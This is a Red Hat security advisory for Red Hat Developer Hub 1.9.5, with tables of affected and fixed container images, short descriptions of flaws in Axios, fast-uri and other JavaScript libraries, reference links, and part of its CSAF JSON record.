Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios, a promise-based HTTP client. This vulnerability involves prototype pollution gadgets in the request configuration processing. If another vulnerability has already polluted the Object.prototype.transformResponse, affected Axios versions may incorrectly interpret this inherited value as part of the request configuration or as an option validator. Axios does not itself create the prototype pollution. Exploitability requires a separate prototype-pollution vulnerability or equivalent attacker control over Object.prototype before Axios creates a request.
7.0 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Workaround
|
Threats
Impact
Important
A flaw was found in Axios. A remote attacker, by influencing the XSRF cookie name in a browser environment, could cause the application to construct a regular expression that leads to excessive processing. This can result in a client-side Denial of Service (DoS), where the affected browser tab may freeze, impacting the availability of the application for the user.
7.5 (High)
Affected products
Fixed
1 product
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 | — |
Vendor Fix
fix
Workaround
|
Known not affected
2 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 | — |
Workaround
|
|
| Unresolved product id: Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 | — |
Workaround
|
Threats
Impact
Important
References
182 references
| URL | Category |
|---|---|
| https://access.redhat.com/errata/RHSA-2026:26234 | self |
| https://access.redhat.com/security/cve/CVE-2026-24781 | external |
| https://access.redhat.com/security/cve/CVE-2026-32281 | external |
| https://access.redhat.com/security/cve/CVE-2026-41242 | external |
| https://access.redhat.com/security/cve/CVE-2026-41672 | external |
| https://access.redhat.com/security/cve/CVE-2026-41673 | external |
| https://access.redhat.com/security/cve/CVE-2026-41674 | external |
| https://access.redhat.com/security/cve/CVE-2026-41675 | external |
| https://access.redhat.com/security/cve/CVE-2026-42033 | external |
| https://access.redhat.com/security/cve/CVE-2026-42035 | external |
| https://access.redhat.com/security/cve/CVE-2026-42039 | external |
| https://access.redhat.com/security/cve/CVE-2026-42041 | external |
| https://access.redhat.com/security/cve/CVE-2026-42043 | external |
| https://access.redhat.com/security/cve/CVE-2026-42044 | external |
| https://access.redhat.com/security/cve/CVE-2026-44293 | external |
| https://access.redhat.com/security/cve/CVE-2026-44486 | external |
| https://access.redhat.com/security/cve/CVE-2026-44487 | external |
| https://access.redhat.com/security/cve/CVE-2026-44488 | external |
| https://access.redhat.com/security/cve/CVE-2026-44492 | external |
| https://access.redhat.com/security/cve/CVE-2026-44494 | external |
| https://access.redhat.com/security/cve/CVE-2026-44495 | external |
| https://access.redhat.com/security/cve/CVE-2026-44496 | external |
| https://access.redhat.com/security/cve/CVE-2026-6321 | external |
| https://access.redhat.com/security/cve/CVE-2026-6322 | external |
| https://access.redhat.com/security/cve/CVE-2026-9277 | external |
| https://access.redhat.com/security/updates/classi… | external |
| https://catalog.redhat.com/search?gs&searchType=c… | external |
| https://developers.redhat.com/rhdh/overview | external |
| https://docs.redhat.com/en/documentation/red_hat_… | external |
| https://issues.redhat.com/browse/RHDHBUGS-3128 | external |
| https://security.access.redhat.com/data/csaf/v2/a… | self |
| https://access.redhat.com/security/cve/CVE-2026-6321 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2466582 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-6321 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-6321 | external |
| https://cna.openjsf.org/security-advisories.html | external |
| https://github.com/fastify/fast-uri/security/advi… | external |
| https://access.redhat.com/security/cve/CVE-2026-6322 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2466684 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-6322 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-6322 | external |
| https://github.com/fastify/fast-uri/security/advi… | external |
| https://access.redhat.com/security/cve/CVE-2026-9277 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2480741 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-9277 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-9277 | external |
| https://github.com/ljharb/shell-quote | external |
| https://github.com/ljharb/shell-quote/commit/1518179 | external |
| https://github.com/ljharb/shell-quote/security/ad… | external |
| https://www.npmjs.com/package/shell-quote | external |
| https://access.redhat.com/security/cve/CVE-2026-24781 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2466531 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-24781 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-24781 | external |
| https://github.com/patriksimek/vm2/commit/8d30d93… | external |
| https://github.com/patriksimek/vm2/commit/bdd3d15… | external |
| https://github.com/patriksimek/vm2/commit/fd266d0… | external |
| https://github.com/patriksimek/vm2/releases/tag/v3.11.0 | external |
| https://github.com/patriksimek/vm2/security/advis… | external |
| https://access.redhat.com/security/cve/CVE-2026-32281 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2456333 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-32281 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-32281 | external |
| https://go.dev/cl/758061 | external |
| https://go.dev/issue/78281 | external |
| https://groups.google.com/g/golang-announce/c/0uY… | external |
| https://pkg.go.dev/vuln/GO-2026-4946 | external |
| https://access.redhat.com/security/cve/CVE-2026-41242 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2459442 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-41242 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-41242 | external |
| https://github.com/protobufjs/protobuf.js/commit/… | external |
| https://github.com/protobufjs/protobuf.js/commit/… | external |
| https://github.com/protobufjs/protobuf.js/release… | external |
| https://github.com/protobufjs/protobuf.js/release… | external |
| https://github.com/protobufjs/protobuf.js/securit… | external |
| https://access.redhat.com/security/cve/CVE-2026-41672 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2467631 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-41672 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-41672 | external |
| https://github.com/xmldom/xmldom/commit/b39754088… | external |
| https://github.com/xmldom/xmldom/commit/fda7cc313… | external |
| https://github.com/xmldom/xmldom/pull/987 | external |
| https://github.com/xmldom/xmldom/releases/tag/0.8.13 | external |
| https://github.com/xmldom/xmldom/releases/tag/0.9.10 | external |
| https://github.com/xmldom/xmldom/security/advisor… | external |
| https://access.redhat.com/security/cve/CVE-2026-41673 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2467630 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-41673 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-41673 | external |
| https://github.com/xmldom/xmldom/commit/17678a2a7… | external |
| https://github.com/xmldom/xmldom/commit/291257493… | external |
| https://github.com/xmldom/xmldom/commit/2d6d6916e… | external |
| https://github.com/xmldom/xmldom/commit/430357c7b… | external |
| https://github.com/xmldom/xmldom/commit/4845ef109… | external |
| https://github.com/xmldom/xmldom/commit/8834218c8… | external |
| https://github.com/xmldom/xmldom/commit/8b7cfd149… | external |
| https://github.com/xmldom/xmldom/commit/b0620383a… | external |
| https://github.com/xmldom/xmldom/commit/e6edcab6b… | external |
| https://github.com/xmldom/xmldom/security/advisor… | external |
| https://access.redhat.com/security/cve/CVE-2026-41674 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2467620 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-41674 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-41674 | external |
| https://github.com/xmldom/xmldom/commit/372008f9a… | external |
| https://github.com/xmldom/xmldom/security/advisor… | external |
| https://access.redhat.com/security/cve/CVE-2026-41675 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2467629 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-41675 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-41675 | external |
| https://github.com/xmldom/xmldom/commit/7207a4b0e… | external |
| https://github.com/xmldom/xmldom/security/advisor… | external |
| https://access.redhat.com/security/cve/CVE-2026-42033 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461607 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42033 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42033 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42035 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461606 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42035 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42035 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42039 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461630 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42039 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42039 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42041 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461629 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42041 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42041 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42043 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461626 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42043 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42043 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-42044 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2461624 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-42044 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-42044 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44293 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2477104 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44293 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44293 | external |
| https://github.com/protobufjs/protobuf.js/securit… | external |
| https://access.redhat.com/security/cve/CVE-2026-44486 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487947 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44486 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44486 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44487 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487948 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44487 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44487 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44488 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487949 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44488 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44488 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44492 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487938 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44492 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44492 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44494 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487942 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44494 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44494 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44495 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487937 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44495 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44495 | external |
| https://github.com/axios/axios/security/advisorie… | external |
| https://access.redhat.com/security/cve/CVE-2026-44496 | self |
| https://bugzilla.redhat.com/show_bug.cgi?id=2487943 | external |
| https://www.cve.org/CVERecord?id=CVE-2026-44496 | external |
| https://nvd.nist.gov/vuln/detail/CVE-2026-44496 | external |
| https://github.com/axios/axios/security/advisorie… | external |
{
"document": {
"aggregate_severity": {
"namespace": "https://access.redhat.com/security/updates/classification/",
"text": "Important"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright \u00a9 Red Hat, Inc. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "Red Hat Developer Hub 1.9.5 has been released.",
"title": "Topic"
},
{
"category": "general",
"text": "Red Hat Developer Hub (RHDH) is Red Hat\u0027s enterprise-grade, self-managed, customizable developer portal based on Backstage.io. RHDH is supported on OpenShift and other major Kubernetes clusters (AKS, EKS, GKE). The core features of RHDH include a single pane of glass, a centralized software catalog, self-service via golden path templates, and Tech Docs. RHDH is extensible by plugins.",
"title": "Details"
},
{
"category": "legal_disclaimer",
"text": "This content is licensed under the Creative Commons Attribution 4.0 International License (https://creativecommons.org/licenses/by/4.0/). If you distribute this content, or a modified version of it, you must provide attribution to Red Hat Inc. and provide a link to the original.",
"title": "Terms of Use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://access.redhat.com/security/team/contact/",
"issuing_authority": "Red Hat Product Security is responsible for vulnerability handling across all Red Hat products and services.",
"name": "Red Hat Product Security",
"namespace": "https://www.redhat.com"
},
"references": [
{
"category": "self",
"summary": "https://access.redhat.com/errata/RHSA-2026:26234",
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-24781",
"url": "https://access.redhat.com/security/cve/CVE-2026-24781"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-32281",
"url": "https://access.redhat.com/security/cve/CVE-2026-32281"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-41242",
"url": "https://access.redhat.com/security/cve/CVE-2026-41242"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-41672",
"url": "https://access.redhat.com/security/cve/CVE-2026-41672"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-41673",
"url": "https://access.redhat.com/security/cve/CVE-2026-41673"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-41674",
"url": "https://access.redhat.com/security/cve/CVE-2026-41674"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-41675",
"url": "https://access.redhat.com/security/cve/CVE-2026-41675"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42033",
"url": "https://access.redhat.com/security/cve/CVE-2026-42033"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42035",
"url": "https://access.redhat.com/security/cve/CVE-2026-42035"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42039",
"url": "https://access.redhat.com/security/cve/CVE-2026-42039"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42041",
"url": "https://access.redhat.com/security/cve/CVE-2026-42041"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42043",
"url": "https://access.redhat.com/security/cve/CVE-2026-42043"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-42044",
"url": "https://access.redhat.com/security/cve/CVE-2026-42044"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44293",
"url": "https://access.redhat.com/security/cve/CVE-2026-44293"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44486",
"url": "https://access.redhat.com/security/cve/CVE-2026-44486"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44487",
"url": "https://access.redhat.com/security/cve/CVE-2026-44487"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44488",
"url": "https://access.redhat.com/security/cve/CVE-2026-44488"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44492",
"url": "https://access.redhat.com/security/cve/CVE-2026-44492"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44494",
"url": "https://access.redhat.com/security/cve/CVE-2026-44494"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44495",
"url": "https://access.redhat.com/security/cve/CVE-2026-44495"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-44496",
"url": "https://access.redhat.com/security/cve/CVE-2026-44496"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-6321",
"url": "https://access.redhat.com/security/cve/CVE-2026-6321"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-6322",
"url": "https://access.redhat.com/security/cve/CVE-2026-6322"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/cve/CVE-2026-9277",
"url": "https://access.redhat.com/security/cve/CVE-2026-9277"
},
{
"category": "external",
"summary": "https://access.redhat.com/security/updates/classification/",
"url": "https://access.redhat.com/security/updates/classification/"
},
{
"category": "external",
"summary": "https://catalog.redhat.com/search?gs\u0026searchType=containers\u0026q=rhdh",
"url": "https://catalog.redhat.com/search?gs\u0026searchType=containers\u0026q=rhdh"
},
{
"category": "external",
"summary": "https://developers.redhat.com/rhdh/overview",
"url": "https://developers.redhat.com/rhdh/overview"
},
{
"category": "external",
"summary": "https://docs.redhat.com/en/documentation/red_hat_developer_hub",
"url": "https://docs.redhat.com/en/documentation/red_hat_developer_hub"
},
{
"category": "external",
"summary": "https://issues.redhat.com/browse/RHDHBUGS-3128",
"url": "https://issues.redhat.com/browse/RHDHBUGS-3128"
},
{
"category": "self",
"summary": "Canonical URL",
"url": "https://security.access.redhat.com/data/csaf/v2/advisories/2026/rhsa-2026_26234.json"
}
],
"title": "Red Hat Security Advisory: Red Hat Developer Hub 1.9.5 release.",
"tracking": {
"current_release_date": "2026-07-30T19:27:01+00:00",
"generator": {
"date": "2026-07-30T19:27:01+00:00",
"engine": {
"name": "Red Hat SDEngine",
"version": "5.3.8"
}
},
"id": "RHSA-2026:26234",
"initial_release_date": "2026-06-16T09:33:13+00:00",
"revision_history": [
{
"date": "2026-06-16T09:33:13+00:00",
"number": "1",
"summary": "Initial version"
},
{
"date": "2026-07-25T05:39:32+00:00",
"number": "2",
"summary": "Last updated version"
},
{
"date": "2026-07-30T19:27:01+00:00",
"number": "3",
"summary": "Last generated version"
}
],
"status": "final",
"version": "3"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_name",
"name": "Red Hat Developer Hub 1.9",
"product": {
"name": "Red Hat Developer Hub 1.9",
"product_id": "Red Hat Developer Hub 1.9",
"product_identification_helper": {
"cpe": "cpe:/a:redhat:rhdh:1.9::el9"
}
}
}
],
"category": "product_family",
"name": "Red Hat Developer Hub"
},
{
"branches": [
{
"category": "product_version",
"name": "registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"product": {
"name": "registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"product_id": "registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhdh-hub-rhel9@sha256%3Adca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e?arch=amd64\u0026repository_url=registry.redhat.io/rhdh/rhdh-hub-rhel9\u0026tag=1781187342"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64",
"product": {
"name": "registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64",
"product_id": "registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhdh-rhel9-operator@sha256%3A9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5?arch=amd64\u0026repository_url=registry.redhat.io/rhdh/rhdh-rhel9-operator\u0026tag=1781187028"
}
}
},
{
"category": "product_version",
"name": "registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"product": {
"name": "registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"product_id": "registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"product_identification_helper": {
"purl": "pkg:oci/rhdh-operator-bundle@sha256%3Adac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb?arch=amd64\u0026repository_url=registry.redhat.io/rhdh/rhdh-operator-bundle\u0026tag=1781191254"
}
}
}
],
"category": "architecture",
"name": "amd64"
}
],
"category": "vendor",
"name": "Red Hat"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64 as a component of Red Hat Developer Hub 1.9",
"product_id": "Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
},
"product_reference": "registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
"relates_to_product_reference": "Red Hat Developer Hub 1.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64 as a component of Red Hat Developer Hub 1.9",
"product_id": "Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64"
},
"product_reference": "registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"relates_to_product_reference": "Red Hat Developer Hub 1.9"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64 as a component of Red Hat Developer Hub 1.9",
"product_id": "Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
},
"product_reference": "registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64",
"relates_to_product_reference": "Red Hat Developer Hub 1.9"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-6321",
"cwe": {
"id": "CWE-22",
"name": "Improper Limitation of a Pathname to a Restricted Directory (\u0027Path Traversal\u0027)"
},
"discovery_date": "2026-05-04T20:01:14.938426+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
}
],
"ids": [
{
"system_name": "Red Hat Bugzilla ID",
"text": "2466582"
}
],
"notes": [
{
"category": "description",
"text": "A flaw was found in fast-uri. A remote attacker could exploit this vulnerability by providing a specially crafted Uniform Resource Locator (URL) containing percent-encoded path separators and dot segments. Due to incorrect processing, fast-uri would decode these elements before proper normalization, leading to distinct URLs resolving to the same internal path. This could allow an attacker to bypass security policies that rely on path-based comparisons, potentially gaining unauthorized access to resources.",
"title": "Vulnerability description"
},
{
"category": "summary",
"text": "fast-uri: fast-uri: Path traversal vulnerability allows bypass of security policies",
"title": "Vulnerability summary"
},
{
"category": "general",
"text": "The CVSS score(s) listed for this vulnerability do not reflect the associated product\u0027s status, and are included for informational purposes to better understand the severity of this vulnerability.",
"title": "CVSS score applicability"
}
],
"product_status": {
"fixed": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"known_not_affected": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-operator-bundle@sha256:dac8b7c19b9bf59aa6df97828ae6955252ba45246d1597cd2cf46c028dfce4fb_amd64",
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-rhel9-operator@sha256:9e95e1183f47b0f9aa439bdb408a0ccdf87b72cefe704abad0c7e9a90bd607f5_amd64"
]
},
"references": [
{
"category": "self",
"summary": "Canonical URL",
"url": "https://access.redhat.com/security/cve/CVE-2026-6321"
},
{
"category": "external",
"summary": "RHBZ#2466582",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2466582"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-6321",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6321"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-6321",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-6321"
},
{
"category": "external",
"summary": "https://cna.openjsf.org/security-advisories.html",
"url": "https://cna.openjsf.org/security-advisories.html"
},
{
"category": "external",
"summary": "https://github.com/fastify/fast-uri/security/advisories/GHSA-q3j6-qgpj-74h6",
"url": "https://github.com/fastify/fast-uri/security/advisories/GHSA-q3j6-qgpj-74h6"
}
],
"release_date": "2026-05-04T19:31:57.253000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-16T09:33:13+00:00",
"details": "For more about Red Hat Developer Hub, see References links",
"product_ids": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:26234"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "NONE",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"version": "3.1"
},
"products": [
"Red Hat Developer Hub 1.9:registry.redhat.io/rhdh/rhdh-hub-rhel9@sha256:dca74b10e54c6598ef2f8d962f677895ee6ca745778f0f5db25e0ebfe443990e_amd64",
